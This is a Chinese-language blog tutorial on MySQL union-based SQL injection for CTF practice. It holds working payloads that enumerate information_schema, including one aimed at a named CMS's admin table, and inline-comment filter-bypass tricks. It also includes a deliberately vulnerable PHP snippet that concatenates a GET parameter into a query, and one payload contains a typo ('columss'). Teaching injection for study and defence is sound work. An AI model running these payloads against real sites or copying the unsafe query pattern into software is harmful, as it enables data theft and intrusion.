mysql注入ctf_Web安全原理剖析-SQL Injection

0x01 预备知识

Mysql的相关知识

在MySQL 5.0之后,MySQL默认在数据库中存放一个”information_schema”的库,比较重要的三个表名:SCHEMATA、TABLES以及COLUMNS。

information_schema.schemata:存储了所有库名。

441237b5bad7dc95eb9f134e8137fdf5.pngstruct

该表中记录库名的字段为:SCHEMA_NAME,因此可以如下注入:

-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

information_schema.tables:存储了所有表名。

02bc1abe8d687543a9a503eddcdc140b.pngquery

423d5eb5d928d93a39755ba90f1cabe7.pngstruct

该表中记录库名的字段为:TABLE_SCHEMA,记录表名的字段为:TABLE_NAME

-1' union select 1,group_concat(TABLE_NAME),3 from information_schema.tables where TABLE_SCHEMA = 'ejucms' --+

information_schema.columns:存储了所有字段名。

5d827860fcc84fcac47df0d62751814e.pngquery

29ce488fbd41affe6fa8c3c9edb3b57c.pngstruct

该表中记录库名的字段为:TABLE_SCHEMA,记录表名的字段为:TABLE_NAME,记录字段名的字段为:COLUMN_NAME

-1' union select 1,group_concat(COLUMN_NAME),3 from information_schema.columss where TABLE_NAME = 'eju_admin' --+

关于查询语句

无条件

select column_name from database_name.table_name;

一个条件

select column_name from database_name.table_name where column_name='';

两个条件

select column_name from database_name.table_name where column_name='' and column_name ='' ;

limit第一个参数为第几条记录(从0开始),第二个参数为取几条记录

limit 0,1

database():当前库

version():当前MySQL版本

user():当前MySQL用户

注释符

# or 空格 or /**/

内联注释:/*! code*/

index.php?id=-1/*! UNION*//*! SELECT*/1,2,3

union联合查询:前面查询结果为空集,后面的查询结果才能显示出来。

Union Injection

下面的代码可以看到,输出了字段内容以及并没有进行任何检测过滤,并且$id属于int型,后面也没有什么需要注释的地方。

$conn = mysqli_connect("localhost","root","root","security");

if(mysqli_connect_errno()){

echo "ERROR:".mysqli_connect_errno;

die();

}

$id = @$_GET['id'];

$result = mysqli_query($conn,"select * from users where `id`=".$id);

$row = mysqli_fetch_array($result);

echo $row['username'].":".$row['password'];

echo "
";

?>

看到输出了username以及password,因此就是普通的注入。

黑盒测试的话,这个一测就测的出来。

首先用 and 1=1 和 and 1=2两个永真及永假条件判断是否存在sql注入

9b5e912bb91a0b44add0b87956cdd26a.png

b3052cf9ab52528616658a1abcf07ee8.png

可以判断存在sql注入。

daae9ed1e99ea1f42eac47d4f95e41cd.png

166fce1aad44e19841aadff4d261ce0a.png

判断有三个字段。

71a8404b1d293c5487623fc14460b079.png

输出的字段为2,3.

05e3efdfba140d34e5430f123f8ae496.png

1e894f957d2c99fd4273853db53a0c7c.png

可打印出所有的库名并且当前库为security.

0e006fccd43ff77989b70468f47fa517.png

爆出当前库的表名.

77a685d26ad369c808e6637cc473661b.png

看到这里,其实爆出来好多库名,因为users这张表好几个库中都有.

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值